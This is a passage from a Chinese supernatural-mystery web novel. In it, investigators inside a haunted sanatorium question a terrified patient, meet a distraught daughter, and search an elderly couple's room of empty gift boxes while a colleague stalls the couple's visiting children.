就在他即将把门关上的瞬间,宿珩及时伸手,一把抵住了即将合拢的门板。 门板发出一声不堪重负的闷响,却纹丝不动。 “你知不知道……” 宿珩的声音不高,却带着一股不容置疑的压迫感,清晰地传入老根儿耳中。 “菜地里埋着的那些衣服碎片……究竟……是谁的? 老根儿那干瘦的身体,在听到宿珩这句如同催命符般问话的瞬间,骤然一僵! 脸上瞬间血色褪尽,露出极度的惊恐。 他想要用力关上门,但那点可怜的力气,在宿珩面前显得微不足道。 宿珩手腕只是微微一沉,便将门彻底推开,同时侧身挤进了房间,并迅速反手将房门扣上。 老根儿退无可退,眼中的恐惧更甚,他惊恐地看着宿珩,身体不受控制地向后缩。 最终,他像是被抽走了所有力气,一屁股跌坐在地。 紧接着,手脚并用地爬向墙角的单人病床,往床底下那片更为阴暗的角落,奋力爬去。 他一头钻进了床底,紧紧抱住了那床不知多久没洗的脏被子,将自己蜷缩成一团。 语无伦次地重复着:“我……我不知道,我不知道……” “你真不知道?” 宿珩声音听不出喜怒。 但在这狭小逼仄的空间里,却带着一种无形的压力,缓缓压向床底的男人。 他没有试图将老根儿从床底拖出来,只是站在床边,居高临下地看着那片黑暗。 “那些布料,埋在土里很久了。” 宿珩的语速不快,像是在耐心陈述一个既定事实,“上面沾着洗不掉的颜色,像是……血。” “不是我……不是我!” 床底下,老根儿的呜咽声猛地拔高,带着哭腔,声音尖利得有些刺耳。 他拼命摇头,脏兮兮的被子被他抓得更紧,仿佛那是他唯一的救命稻草。 “我什么都没干……我什么都不知道……” 看他这副样子,继续逼问,显然达不到想要的结果。 宿珩眼睫微垂,遮住眼底一闪而过的思虑。 沉默了几秒后,他换了个问法:“你是什么时候,发现那些东西,被埋在那里的?” 老根儿的哭声顿了一下,似乎在分辨这句话的意图,随即又开始语无伦次地否认: “没有东西,那里什么都没有……我什么都没看见……” 宿珩微微眯起眼睛,声音里渗入一丝不易察觉的冷意。 “你每天都会去那片菜地,不是吗?” “我……我只是去……去找吃的……” 老根儿的声音抖得不成样子,每一个字都像是从牙缝里挤出来的。 “我饿……他们不给我饭吃……” 宿珩的目光落在床角边缘散落的几点干硬馒头屑上,没有接话。 从这扇“心门”中刘晓花那副尖酸刻薄的嘴脸来看,虐待病人,克扣病人的食物,对她而言恐怕是家常便饭。 尤其是对老根儿这种无依无靠,又神志不清,最好欺负的病人。 “你没必要害怕。” 宿珩的声音放缓了些,试图用一种更为平和的姿态,引导他。 “你告诉我,那些衣服是谁的,或许……我可以帮你。” “帮我?” 老根儿像是听到了什么不可思议的事情,哭声中带上了一丝神经质的尖笑。 “你们……你们都一样……都想害我……” 他似乎想起了什么可怕的经历,身体抖得更厉害了。 “她会用针扎我……好痛……好痛啊……” 宿珩眉心微蹙。 他知道老根儿口中的“她”指的是刘晓花。 “我不会伤害你。”宿珩尽量让自己的声音听起来温和一些,“我只是想知道真相。” “真相?” 老根儿重复着这两个字,声音里充满了迷茫和恐惧,“没有真相……只有怪物……怪物……” 宿珩的目光再次投向床底那片浓重的黑暗。 他知道,以老根儿现在的精神状态,很难从他口中得到清晰完整的线索。 但他刚才那句“只有怪物”,却让宿珩的心头微微一动。 “你看到的怪物,是什么样子的?” 老根儿却像是被这个问题刺激到了,猛地尖叫起来:“别问我!别问我!我不想说!我不想死!” 他开始用头撞击冰冷的水泥地面,发出“咚咚”的闷响,声音听起来痛苦而绝望。 宿珩见状,知道不能再逼问下去。 他往后退开一步,语气恢复了之前的平静:“你好好待着,不会有人伤害你。” 说完,宿珩不再停留,转身拉开房门,走了出去,并轻轻将门带上。 走廊里空无一人,那股阴冷的气息依旧挥之不去。 宿珩静立于走廊之中,微微垂下眼睑,陷入沉思。 老根儿显然知道些什么,但他被恐惧彻底击垮了,根本无法进行正常交流。 而他口中的“怪物”……会是什么呢? 宿珩正思索着,一道熟悉的身影悄然出现在二楼楼梯口。 肖靳言的发梢还带着些许未干的水汽,显然是刚擦洗过。 看到宿珩站在203门口,肖靳言走了过来,压低声音问:“问出什么了?” 宿珩摇了摇头:“他精神状态很差,说不清楚。” 他顿了顿,将老根儿反复提到的“怪物”简略地说了一遍。 肖靳言听完,并未流露出太多意外。 “心门”里没有怪物,那才奇怪。 肖靳言沉默了半晌,说:“现在最大的问题是……那张报纸,到底在哪里?” “或许……” 宿珩抬眼看向202的房门,“我们可以从杨桂芬那里找到突破口。” “她看起来比胡旺祖更容易沟通,而且句句不离自己那对‘孝顺儿女’,这显然是她最深的执念,并已经到了近乎病态的地步。” “这种执念,既是她的铠甲,也可能是她的软肋。” 肖靳言勾了勾唇角:“你的意思是……将计就计,刺激她?” 宿珩没有直接回答,只是淡淡道:“她不是说,她的儿女每周三都会来看她吗?” “算算时间,他们也快到了。” 50-60 第51章 第 51 章 福山疗养院7 201病房内, 浓重的恶臭几乎凝成实质,熏得人头昏脑涨。 徐林致强忍着几欲作呕的冲动。 双层口罩也无法完全隔绝,那股腐肉与药水混合的刺鼻气味。 他额角渗出细密的冷汗。 手中镊子夹着一小块沾了药水的棉球, 正小心翼翼地从宋明丽背部下方一块巴掌大的褥疮里,清理着那些蠕动的白点。 白花花的,密密麻麻。 那简直不像活物, 更像某种不断滋生的霉斑。 仅仅一夜过去,又重新布满了溃烂的创口。 明明昨天下午,他才刚刚清理过一次。 这些东西却像是跗骨之蛆, 怎么也清不干净。 徐林致屏住呼吸, 将最后几只还在微微颤动的白色小虫从腐烂的组织中夹出, 扔进旁边盛着医用酒精的弯盘里。 小虫落入酒精,挣扎了两下便不再动弹。 就在徐林致稍稍直起身, 紧绷的神经刚想松懈半分的瞬间—— “砰!” 201病房的门被人从外面猛地一把推开。 力道之大,撞在墙上又弹了回来,发出刺耳的声响。 一个穿着浅蓝色连衣裙,剪着利落短发的年轻女孩, 跌跌撞撞地冲了进来。 她脸上满是焦急和慌乱, 眼睛通红, 声音带着哭腔, 不顾一切地扑向病床。 “妈!妈!你怎么了?!妈!” 病床上,原本双目紧闭, 气若游丝的宋明丽,在听到这个熟悉声音的瞬间, 干枯的眼皮剧烈地颤动了几下。 她的喉咙里发出含混而微弱的喘息,似乎在挣扎着想要睁开眼睛。 女孩一把扑到床边。 当她的视线触及床上那个瘦得只剩一把骨头,脸颊深陷, 几乎已经看不出原本模样的母亲时,身体猛地一震,像是被人兜头浇了一盆冰水。 她霍然转过头。 那双因悲愤而充血的眼睛,死死瞪着站在一旁的徐林致,声音嘶哑地厉声质问: “你是谁?!你对我妈做了什么?!” 徐林致被这突如其来的变故和指责弄得一懵,举着镊子,一时有些不知所措。 倒是一直站在墙角的刘晓花,在看到短发女孩的瞬间,脸色倏地一白。 她的眼神慌乱地闪躲起来,身体也不自觉地向后缩了缩,恨不得能把自己塞进墙缝里,像是被抓住了什么天大的亏心事。 徐林致看着女孩那张因愤怒而扭曲,却依稀能看出清秀轮廓的脸。 以及她对宋明丽那份发自内心的焦急,心中一动。 这人,应该就是宋明丽的女儿,宋倩了。 他刚想开口解释自己是在帮忙清理褥疮,却被宋倩更加愤怒的哭喊打断。 “妈!” 宋倩看着床上面色灰败的母亲,眼泪像断了线的珠子一样汹涌滚落。 她伸出手,颤抖着,想要去握宋明丽的手。 却又在触碰到那干瘦的手指时,猛地缩了回来,像是怕自己稍一用力,就会碰碎这根脆弱的手指。 她气得浑身发抖,声音因为激动而变得尖锐刺耳。 指着徐林致,也像是在指着这个房间里所有她认为的“凶手”。 “我才一个星期没来!” “你们告诉我,仅仅一个星期!我妈怎么就变成这个样子了?!” “你们到底对她做了什么?!你们还是人吗?!” 刘晓花被她吼得头皮发麻,眼神更加躲闪,支支吾吾地半天说不出一句话来,只是一个劲儿地往门边的方向悄悄挪动。 这时,宿珩和肖靳言也被这边的巨大动静吸引,从走廊另一头快步走了过来。 肖靳言一眼就看到了病房内剑拔弩张的紧张情形。 以及那个情绪激动,哭得撕心裂肺的短发女孩。 他目光在女孩身上短暂停留了一瞬。 捕捉到她衣着整洁,神态虽然悲愤,但眼神清明,并不像这里其他被“心门”影响的人。 肖靳言像是想到了什么,沉声开口问道:“你是从哪里进来的?” 宋倩正处于极度的愤怒和悲伤之中。 听到这没头没脑的问话,她猛地转过头,恶狠狠地瞪着肖靳言,声音沙哑地骂道: “你眼瞎吗?!” “我当然是从大门进来的!” “还有人想拦着不让我进!” “我还以为是什么事,原来是怕我发现你们这么虐待我妈!你们这群畜生!” 肖靳言对于女孩的恶言恶语恍若未闻,甚至连眉毛都没动一下。 只是不着痕迹地扭头和身旁的宿珩对视了一眼。 从大门进来的。 还有人拦着她。 如果她说的是真的…… 那么,她很可能是一个在错误的时间,突破了社区的阻拦,无意中闯入了这扇“心门”的普通人。 一个每周三都会来看望母亲的……孝顺女儿。 这样一来,宋明丽作为“心门”主人的可能性就大大降低了。 毕竟,她的女儿并没有如杨桂芬所说的那样“一年到头难得来一次”。 更没有抛弃她,反而如此牵挂焦急。 这和盘旋在这座疗养院里,那股令人窒息的、被遗弃的绝望气息,截然相悖。 那么…… 那个总是将“孝顺儿女”挂在嘴边的杨桂芬。 嫌疑无疑更大了。 徐林致急得满头大汗,他想解释,想告诉这个女孩,他也是刚来不久,他也在尽力救治。 可宋倩根本听不进任何解释。 她像是完全沉浸在了自己的悲痛与愤怒之中,重新扑回床边,鼓足勇气攥住宋明丽那只瘦骨嶙峋的手,贴在自己脸上。 一边痛哭,一边语无伦次地怒骂着: “你们这群没良心的!这是人待的地方吗?!我妈怎么会变成这样……怎么会……” 刘晓花见势不妙,趁着没人注意她,已经心虚地脚底抹油,偷偷溜出了病房。 徐林致被宋倩骂得狗血淋头,他也想跑。 可看着宋明丽身上那还未完全处理干净的创口,以及那微弱的呼吸,职业的操守让他硬生生止住了脚步。 他深吸一口气,硬着头皮上前,尽量让自己的语气听起来温和而专业: “这位……小姐,你先冷静一下。” “你母亲的褥疮很严重,已经出现了感染的迹象,如果不及时处理,会更危险。请你让我先把伤口清理包扎好,好吗?” 宋倩的哭声一顿。 她缓缓抬起泪眼婆娑的脸,看着徐林致那张还算真诚的脸,又看了看床上奄奄一息的母亲,理智稍稍回笼了一些。 她吸了吸鼻子,哽咽着,不情愿地往旁边挪开了些位置,算是默许了。 徐林致松了口气,连忙重新拿起镊子和药棉,继续小心翼翼地为宋明丽清创、上药。 宋倩站在一旁,死死咬着自己的嘴唇。 她看着母亲身上那些触目惊心的伤口,以及徐林致从腐肉里夹出来的东西,眼泪又忍不住汹涌而出。 “怎么会这样……怎么会这样……” 她像失了魂一般,喃喃自语,声音里充满了不解和绝望。 “我上周来看她的时候,还好好的啊……” “虽然人是瘦了点,但精神还可以,还能跟我说几句话,身上也干干净净的,压根也没有这些可怕的褥疮……” “怎么才一个星期,仅仅一个星期没见,就变成现在这个样子了……” 她这番无意识的话,像一记重锤,敲在徐林致的心上。 也让旁边的宿珩和肖靳言眼中同时闪过一丝了然。 一个星期…… 就算照顾再怎么疏忽,也不可能让一个原本情况尚可的人,在短短七天之内,生出如此严重、几乎危及性命的褥疮。 那就只有一个可能—— “心门”的主人。 因为某种执念,凭空臆造了宋明丽此刻的凄惨境遇,甚至……加速了她的恶化。 …… 宿珩没有在201病房久留。 他转身走出,宋倩撕心裂肺的哭喊和徐林致略显无措的解释声,被隔绝在身后。 声音渐弱,最终只剩下走廊里死一般的寂静。 空气阴冷潮湿,带着一股挥之不去的陈腐气味。 宿珩走到走廊中段,透过那扇积满灰尘,模糊不清的玻璃窗,望向楼下的院子。 灰蒙蒙的天光下。 杨桂芬正佝偻着身体,双手搭在胡旺祖的轮椅后背上,费力地将轮椅推向疗养院大门口那片空地。 每推几步,她便停下来,抬起头,踮着脚尖,朝着紧闭的铁锈大门方向翘首以盼。 她脸上的笑容有些僵硬,眼底深处却藏着几分明显的焦灼和期待。 轮椅上的胡旺祖依旧是那副呆滞的模样,口水从嘴角滑落,滴落在胸前的口水巾上,对杨桂芬的举动毫无反应。 宿珩的目光在楼下那对老夫妻身上短暂地停留了几秒,随即不动声色地收回。 他看了一眼紧闭的202病房门,心中已有了计较。 现在,杨桂芬和胡旺祖都在楼下,无疑是进入他们房间查看的最好时机。 宿珩不再犹豫,迈步径直走向202。 身后传来极轻的脚步声,肖靳言不知何时已经跟了过来,高大的身影带着一股令人安心的压迫感。 他看见宿珩的动作,了然于心,什么也没问,只是默契地越过宿珩,率先走到202病房门前,手轻轻一搭,试探着推了推。 门果然没有锁,应声开了一道缝。 宿珩对肖靳言投去一个极淡的眼神,侧身便闪了进去。 肖靳言则顺势退后一步,将门虚掩上。 高大的身影不着痕迹地挡在了门外,目光看似随意地扫视着空寂的走廊,实则是替他望风。 宿珩走进202病房。 与疗养院其他病房的阴冷破败不同。 这里虽然陈设同样简陋老旧,但空气中却少了几分刺鼻的霉味,反而弥漫着一股有些过分甜腻的气味。 像是无数糖果、饼干和劣质香精混合在一起发酵许久的味道,闻久了让人有些反胃。 房间里最引人注目的,是那些几乎堆积成山的各色包装盒。 靠墙的地上、掉了漆的旧木柜上、斑驳的床底下,随处可见。 “补脑黄金”、“强身健体口服液”、“进口牛奶饼干”、“特级果蔬麦片”…… 这些,几乎都是些老年人常用的营养品和零食。 琳琅满目。 花花绿绿的包装盒几乎要将这个不大的房间彻底淹没,像一个专门收集垃圾的仓库。 宿珩随手从柜子上拿起一个包装精美的盒子。 入手轻飘飘的,他轻轻晃了晃,里面果然空空如也,连一丁点的碎屑声都听不到。 他又拿起旁边另一个礼盒,打开,里面同样是空的,盒底只有几点干涸的油渍。 宿珩的眉头微微蹙起。 他一言不发,接连又检查了散落在地上的几个包装盒,无一例外,全都是空的。 这印证了他昨天的猜测。 这些空盒子,仿佛一个个无声的嘲讽,堆砌出一种虚假的丰裕和被关爱感。 同时也冰冷地昭示着一个事实—— 这些东西,很可能是老两口的儿女在很久很久之前买来的,现在早已被他们吃完或者用完了。 这也意味着,他们的儿女,或许已经很久、很久没有再送新的东西过来,更遑论亲自来看望他们。 杨桂芬口中那对“每周都来”、“孝顺得不得了”的儿女。 似乎并不像她所描述的那样真实存在。 所以…… 院长办公室那份“来访人员登记表”上,每周三都会准时出现,探望杨桂芬和胡旺祖的“胡文庭”和“胡文月”…… 他们到底是人,还是别的什么东西? 宿珩心中一动,隐隐觉得自己抓住了什么。 这种被主人精心维系、刻意展现的“孝顺”表象。 与这扇“心门”中那股浓郁到化不开的、被遗弃的绝望气息,形成了诡异而又完美的对应。 越是炫耀,越是空虚。 越是热闹,越是悲凉。 宿珩缓缓深吸口气,压下心中翻涌的思绪,开始在房间里仔细翻找。 希望能找到胡旺祖之前在梦呓般的状态下,焦急寻找的那张“报纸”。 他检查了床铺,拉开了床头柜的抽屉…… 然而,除了满屋子的空盒子和一些陈旧的衣物,他并没有发现任何类似报纸的东西。 难道藏在这些空盒子里? 宿珩拿起一个空的糖果盒,正准备打开看看里面是否藏着东西。 就在这时—— “笃笃。” 门板被极轻敲了两下。 是肖靳言。 “人来了,先出来。” 肖靳言压低的声音从门外传来,清晰而简短。 宿珩动作一顿。 几乎在肖靳言话音落下的同时。 楼下院子里,猛地传来杨桂芬拔高了数度的,充满惊喜和激动的呼喊声: “哎哟!我的心肝宝贝!我的乖儿子乖女儿!” “你们可算来了!妈都快想死你们了!天天盼,夜夜盼,总算把你们给盼来了啊!” 这声音尖利得有些失真,穿透了厚重的墙面,清晰地传到二楼。 宿珩迅速将手中的糖果盒放回原位,又用最快的速度扫视了一眼房间,确认自己没有留下任何翻动过的明显痕迹。 他拉开房门,闪身而出。 肖靳言在他出来的瞬间,便立刻将门轻轻带上,动作流畅,不发出一丝多余的声响。 两人对视一眼,没有多言,快步走到走廊的窗边。 只见疗养院的大门口,一男一女两个身影,正拎着大包小包的东西,笑容满面地走了进来。 男的大约三十出头的年纪,穿着干净的白衬衫和西裤,戴着一副金丝边眼镜,看起来斯斯文文。 女的要年轻几岁,约莫二十七八的样子,梳着利落的马尾,穿着一条颜色鲜亮的碎花连衣裙,肩上斜挎着一个黑色的细链子小包,脸上带着甜甜的笑意。 两人的眉眼间有几分相似。 虽然衣着打扮和气质截然不同,但一眼便能看出是一对兄妹。 宿珩心中默念着那两个在登记表上出现过无数次的名字: 胡文庭。 胡文月。 应该就是他们了。 楼下院子里,杨桂芬早已激动得脸色通红,推着胡旺祖,满脸堆笑地迎了上去。 “哎呀,文庭,我的好儿子!文月,我的乖囡囡!” “快让妈好好看看,最近是不是又瘦了?工作那么辛苦,可千万别累坏了身子啊!” 杨桂芬一把拉住儿子女儿的手,嘘寒问暖,那股子亲热劲儿,仿佛有说不完的话。 胡旺祖依旧呆呆地坐在轮椅上,面无表情。 但在胡文庭和胡文月走近时—— 他那原本空洞的眼神似乎微微动了一下,嘴角也向上森*晚*整*理咧开了一些,露出了一个极其牵强、甚至有些怪异的笑容。 似乎也在努力感受这股突如其来的喜悦气氛。 “妈,我们都好着呢,您就放心吧。” 胡文庭笑着回应,一边说着,一边将手中一个硕大的礼品袋递给杨桂芬。 “这是给您和爸新买的智能按摩仪,说是对颈椎和腰椎特别好。还有一些进口的营养品,您记得让爸按时吃,千万别省着。” “哎哟,又买这么多东西,每次来都大包小包的,太破费了!我和你爸这里什么都不缺!” 杨桂芬嘴上说着客气话,手却不慢,脸上的笑容更是灿烂得几乎要溢出来,喜滋滋地将袋子抱在怀里。 一家人正其乐融融地寒暄着,画面温馨得有些不真实。 就在这时,那个叫胡文庭的男人,像是无意中察觉到了什么,不经意地抬起头。 他那双藏在金丝边眼镜后的目光,越过剥落的墙皮,精准地投向了二楼走廊的窗户。 他的视线,与正站在窗边的宿珩,在半空中骤然相遇。 胡文庭脸上的温和笑容没有丝毫改变,嘴角的弧度甚至微微上扬了几分。 他对着宿珩,露出了一个貌似友好的笑容。 那笑容,客气而疏离,仿佛正常得不能再正常。 却让宿珩心头莫名一凛。 一股寒意从脚底无声地窜了上来。 第52章 第 52 章 福山疗养院8 那道目光犹如实质, 带着一丝难以言喻的审视,穿透了二楼积满灰尘的玻璃。 先是在宿珩脸上停留了一瞬。 随即转向旁边肖靳言那张轮廓分明,带着几分不羁的脸庞。 肖靳言毫不避讳, 眼神沉静地迎了上去,黑沉的眸光中带着一股无形的压力。 楼下胡文庭脸上的笑意不变,但握着杨桂芬胳膊的手指却不自觉地收紧了些。 镜片后的目光与肖靳言的视线在空中碰撞, 如同被无形的针尖刺了一下。 他的眼底掠过一丝极快的心虚与忌惮,迅速移开了视线,继续笑容可掬地与杨桂芬说着话, 只是语速比刚才快了几分。 就在这时, 201病房的门被拉开。 徐林致拖着疲惫的身体从里面走了出来, 脸色比进去时还要难看几分。 他反手轻轻关上房门,宋倩压抑的啜泣声和低低的安慰, 从门缝里隐约传出。 他身上那股子若有似无的,带着腐败的肉烂气味,即使隔着几步,也依旧清晰可辨。 徐林致没有立刻靠近窗边的两人, 转身便快步冲上了三楼的值班室。 过了好一会儿, 他才重新下来。 白大褂的衣角湿了一小块, 身上那股令人作呕的腐臭味总算淡了许多, 取而代之的是一股廉价香皂混合着浓烈消毒酒精的刺鼻气味。 他走到窗边,顺着两人的目光朝楼下院子看去。 正好瞧见杨桂芬喜笑颜开地拉着那一对衣着光鲜的男女, 嘘寒问暖,亲热得不像话。 “楼下那两个, 就是胡文庭和胡文月吧?”徐林致低声问道。 宿珩轻轻“嗯”了一声,目光依旧停留在楼下那对男女身上。 徐林致挠了挠头,忽然像想起什么, 有些困惑地说道: “说起来,那个宋倩,就是宋明丽的女儿,我感觉她不太像被污染的人,和刘晓花她们给人的感觉完全不一样。” 他顿了顿,脸上露出一丝苦笑。 “不过,她现在情绪激动得很……” “我刚才在里面,看她哭得那么伤心,就忍不住多嘴,试着跟她暗示,说这里可能……可能已经不是我们原来认识的那个疗养院了,想让她有个心理准备……” “结果,话还没说完,就被她指着鼻子劈头盖脸一顿臭骂,说我咒她妈早死,还想把我从病房里赶出来。” 肖靳言倒是司空见惯:“普通人突然遇到这种事,有这种反应很正常。” 徐林致无奈地点了点头。 这时,楼下院子里,一道熟悉的身影突然从疗养院大楼的侧门溜了出来,正是之前不知躲到哪里去的刘晓花。 她一改往日的尖酸刻薄,脸上堆满了讨好的笑容,快步朝着胡文庭和杨桂芬他们走去。 那架势活像闻着味儿的苍蝇。 “哎哟,这不是文庭文月吗,你们可算来啦!” 刘晓花的声音拔高了几度,带着刻意的亲热,“杨阿姨天天念叨你们呢!” 她主动凑到胡文庭身边,想要套近乎: “文庭啊,真是越来越出息了!瞧瞧这身气派,将来肯定是要做大老板的!” 胡文庭只是淡淡地瞥了她一眼,嘴角那抹公式化的笑容丝毫未变,却没有搭理她的意思,径直和杨桂芬说着话。 刘晓花脸上的笑容僵了一下,眼神中飞快地闪过一丝被无视的恼怒和难堪,但很快又被她强压了下去。 倒是旁边的胡文月,见状连忙拉住了刘晓花的手,脸上带着甜美的笑容:“晓花姐,好久不见,你又变漂亮了。” 她一边说着,一边从自己肩上那个黑色的小挎包里,摸索着翻出一条精致的细手链,不由分说地就往刘晓花手腕上套。 “晓花姐,这是我特意给你挑的,你皮肤白,戴这个肯定好看。” 刘晓花一看到那亮闪闪的手链,眼睛都直了,脸上的不快瞬间烟消云散,笑得合不拢嘴。 “哎哟,文月你瞧你,就是会说话,还特意给我带礼物,这……这多不好意思啊!” 嘴上说着不好意思,手上的动作却一点不慢,任由胡文月给她戴好。 刘晓花举起手腕,左看看右看看,喜滋滋地欣赏着那条手链,仿佛已经忘了刚才胡文庭的冷遇。 随即,她立刻换上一副更加热情的姿态,主动上前,手脚麻利地帮忙拎起他们带来的那些大包小包的礼品。 “来来来,我帮你们拿!杨阿姨,胡叔叔,咱们快进去吧,外面风大。” 几人簇拥着,有说有笑地朝着疗养院大楼门口走来。 沉闷的脚步声很快在楼道口响起,越来越近,显然是准备上二楼。 肖靳言忽然转头,对旁边的徐林致低声说道:“你去楼下,拖住他们几分钟。” 徐林致一愣,满脸不解:“拖住他们?” 肖靳言却没解释,只是意味深长地拍了拍他的肩膀。 随即和宿珩交换了一个只有彼此才懂的眼神。 两人迅速转身,径直朝着身后的202病房快步走去。 “哎,不是,你们……” 徐林致还想再问,那两人已经打开202的房门,迅速闪身进去。 楼梯口的脚步声已经清晰可闻,眼看就要到二楼了。 徐林致一咬牙,也顾不上多想,只好硬着头皮,转身朝着楼梯口快步迎了过去。 他刚走到二楼楼梯口,正好和准备上楼的杨桂芬一行人撞了个正着。 “哎,小徐医生?” 杨桂芬被突然出现的徐林致吓了一跳,看清是他后,有些意外地停下脚步,脸上带着惯有的和善笑容。 “你这是有什么事吗?” 胡文庭和胡文月也停了下来,目光都落在了徐林致身上。 胡文庭镜片后的眼神带着狐疑,胡文月则露出了几分好奇。 刘晓花拎着东西跟在后面,强行压下不耐,僵笑着催促道:“徐医生,有什么事快说吧,别耽误了杨阿姨他们回房休息。” 徐林致脑子飞快地转动着,拼命思考用什么借口才能拖住他们。 他的目光在几人身上飞快扫过,最后落在了被胡文庭搀扶着的胡旺祖身上。 有了! 他福至心灵,也顾不上会不会显得突兀,立刻硬着头皮,脸上挤出一个自认为还算专业的微笑,开口询问: “杨阿婆,胡大爷,您二老早上……应该还没来得及吃早饭吧?” 杨桂芬闻言,愣了一下,随即摇了摇头,脸上带着幸福的笑意。 “是啊,这不是孩子们要来嘛,我跟旺祖说好了,等他们来了,待会儿一起吃点他们带来的好东西,热闹热闹。” 徐林致心中一喜,立刻接话:“那正好,先跟我先上三楼诊疗室一趟吧,我给您二老做个常规的血压血糖检测,看看最近身体情况怎么样。” 这种检查在疗养院里确实很常见,尤其是对这些上了年纪的老人。 不等杨桂芬回答,旁边的刘晓花已经抢着附和道: “哎,对对对,是该做个检查了,我记得上次做检查还是两天前呢!要不咱们先去做个检查吧?” 杨桂芬听了,也没多想,点了点头:“也好,那就麻烦小徐医生了。” 胡文庭和胡文月自然也没什么意见。 于是,一行人便没有在二楼停留,而是顺着楼梯,径直朝着三楼走去。 三楼的诊疗室就在徐林致之前待的值班室对面,从这里不刻意去看的话,倒是看不到斜对面那间院长办公室。 几人似乎都没注意到院长办公室那扇几乎稀烂的门板,径直跟着徐林致走进相对还算整洁的诊疗室。 为了给楼下那两位争取到哪怕多一秒钟的时间,徐林致此刻是戏精附体,将“拖延”二字发挥到了极致。 他先是在诊疗室里慢悠悠地踱了两圈,装作在寻找什么东西,嘴里还念念有词:“哎呀,血压仪放哪儿了,我记得明明在这儿的……” 刘晓花拎着东西站在门口,伸长了脖子,终于有些按捺不住。 她指了指旁边一个积了些灰尘的半旧药柜,想发火,但忍住了,没好气地说道:“徐医生,东西不都在那个柜子里放着吗?” “哦哦,对,瞧我这记性。” 徐林致故作恍然大悟的样子,这才慢吞吞地走过去,又慢吞吞地打开药柜门,再慢吞吞地从里面取出积了些灰尘的血压仪和血糖仪。 他将仪器放在桌上,又开始慢吞吞地准备着。 一会儿找酒精棉球,一会儿又说袖带好像有点紧,动作依旧是磨磨蹭蹭的。 杨桂芬原本还带笑的脸上,已经渐渐显露出不耐,变得有些阴沉。 徐林致只好假装自己什么都没看到。 他低着头继续做准备,心里飞速地想—— 楼下那两人动作可千万要快点啊! 不然,他真怕自己待儿,会被这几个人给生撕了…… …… 同一时间,202病房内。 宿珩和肖靳言的动作快得惊人。 那些在杨桂芬眼中视若珍宝的空盒子,在他们手里却像是毫无价值的垃圾。 宿珩负责从柜子里、床底下、墙角旮旯搜寻,每拿起一个盒子,入手极轻,稍一晃动便知是空。 那张报纸不可能藏在其中。 他面无表情,看也不看,直接反手就朝门外丢去。 “砰。” “啪嗒。” 空纸盒、空铁罐、空塑料瓶,接二连三地砸在走廊冰冷的水泥地上,发出各种沉闷或清脆的声响。 肖靳言则站在门口,像个流水线上的分拣工,宿珩丢出来一个,他便接过来随手打开,确认里面没有东西后,再拨到一边,确保不会堵住门口。 两人配合默契,效率极高。 不过短短几分钟,202病房里那些堆积如山的空盒子,便以肉眼可见的速度减少。 而门外的走廊上,各种花花绿绿的包装盒已经堆成了一座小山,场面蔚为壮观,将本就狭窄的走廊堵了大半。 宿珩将床底下最后一个印着进口奶粉字样的空铁罐掏了出来。 随着铁罐一同被带出的,还有一团黑影,贴着地面飞快掠过。 宿珩面不改色,一脚踩住那团黑影,用力碾了碾,随后轻描淡写地一脚踢到门外。 那黑影在地上翻滚了几圈,居然是一只足有成人巴掌大小的巨大蟑螂,通体油光锃亮,即便被踩得半瘪也没死,而是六足乱蹬,看起来分外狰狞。 “终于抓到了!” 肖靳言顺势踩住蟑螂,随后扬起声音喊了一句。 声音不大不小,却带着一丝刻意的如释重负,清晰地穿透了楼板,传到了三楼。 他这声音引起了隔壁203的注意。 老根儿悄悄探出半个脑袋,看到他俩正像土/匪一样清空着杨桂芬视若生命的东西时,顿时吓得瞳孔剧缩,连忙又退了回去,假装自己什么都没看到。 与此同时,三楼诊疗室内。 正慢条斯理给胡旺祖绑着血压计袖带的徐林致,听到这声不高不低的“终于抓到了”,手上动作猛地一顿。 他差点没把血压计给直接扔出去。 如逢大赦啊! 他知道,这是楼下那两位在给他发信号,时间已经差不多了! 刘晓花站在门口,抱着胳膊,脸上已经满是不耐烦,几乎要把“快点”两个字写在脸上。 杨桂芬也频频朝门口张望,脸色更加阴沉,显然心思也早就不在这儿了。 胡文庭和胡文月倒是安静地站在一旁,脸上依旧挂着得体的微笑,看不出什么情绪。 徐林致连忙加快了手上的动作,胡乱按了几下充气球,看了一眼指针,便飞快地拆下了胡旺祖胳膊上的袖带。 “杨阿婆,放心吧,您的指标都挺正常的。” 他挤出一个职业化的笑容,语速飞快地说道:“倒是胡大爷的血压稍微有那么一点点偏高,只要平时注意饮食清淡点,少盐少油,多休息,问题不大。” 得到这个结果,杨桂芬紧绷的脸颊总算松弛了些,长长舒了口气,脸上的焦躁也褪去不少。 她转头看向胡文庭和胡文月,脸上又重新堆起了那种略显夸张的幸福笑容。 “听见没,小徐医生都说没事了,你们就别跟着瞎操心了,我跟你爸身体好着呢!” 胡文庭推了推鼻梁上的金丝边眼镜,温和地笑道:“没事就好啊,您二老身体健康,那才是我们做儿女最大的福气。” 他说完,便上前一步,自然地搀扶住杨桂芬的胳膊:“妈,检查也做完了,咱们下去吧。” “哎,好好好……下去,这就下去。” 杨桂芬应着,一行人便收拾了一下,转身离开了诊疗室,原路返回。 徐林致悄悄松了口气,也连忙跟在了队伍最后面。 他现在满心好奇,又带着点莫名的期待—— 楼下那两位,在这么短的时间内,到底能把202病房折腾成什么样子。 沉闷的脚步声再次在楼梯间响起。 等一行人走到二楼拐角。 走在最前面的杨桂芬,一眼就看到了走廊上那片狼藉。 以及那堆积如山的,她再熟悉不过的空盒子。 她原本还带着慈爱笑容的脸,在看清那些被随意丢弃的空盒子时,笑容瞬间凝固。 那些盒子。 每一个的颜色,每一个的图案,甚至每一个细小的褶皱和锈痕,她都记得清清楚楚。 每一个,都承载着文庭和文月,沉甸甸的爱意和关怀。 现在,它们却像一堆真正的垃圾,被粗暴地扔在冰冷肮脏的地上。 杨桂芬的身体控制不住地发起抖来,不是因为冷,而是因为一种极致的愤怒。 她脸上的和善与慈祥立刻荡然无存,取而代之的是一种阴沉到极致的铁青。 她猛地抬起头。 那双因为充血而显得有些浑浊的眼睛,死死瞪着202门口。 宿珩正将最后一个空奶粉罐从202病房里扔出来,拿起笤帚,作势要清扫垃圾。 “你——们——” “在!干!什!么?!” 杨桂芬的声音像是从牙齿缝里一个字一个字挤出来的。 每一个音节都带着冰冷的寒意和压抑到极点的怒火,在空寂压抑的走廊里阴森森地回荡。 肖靳言像是才注意到他们回来,施施然直起身,将手中的扫帚往旁边一放。 他脸上的表情看起来十分无辜,甚至还带着一丝恰到好处的惊讶和歉意。 他伸手指了指脚边那只还在垂死挣扎的巨大蟑螂,对杨桂芬解释道: “杨阿婆,您先别生气。” 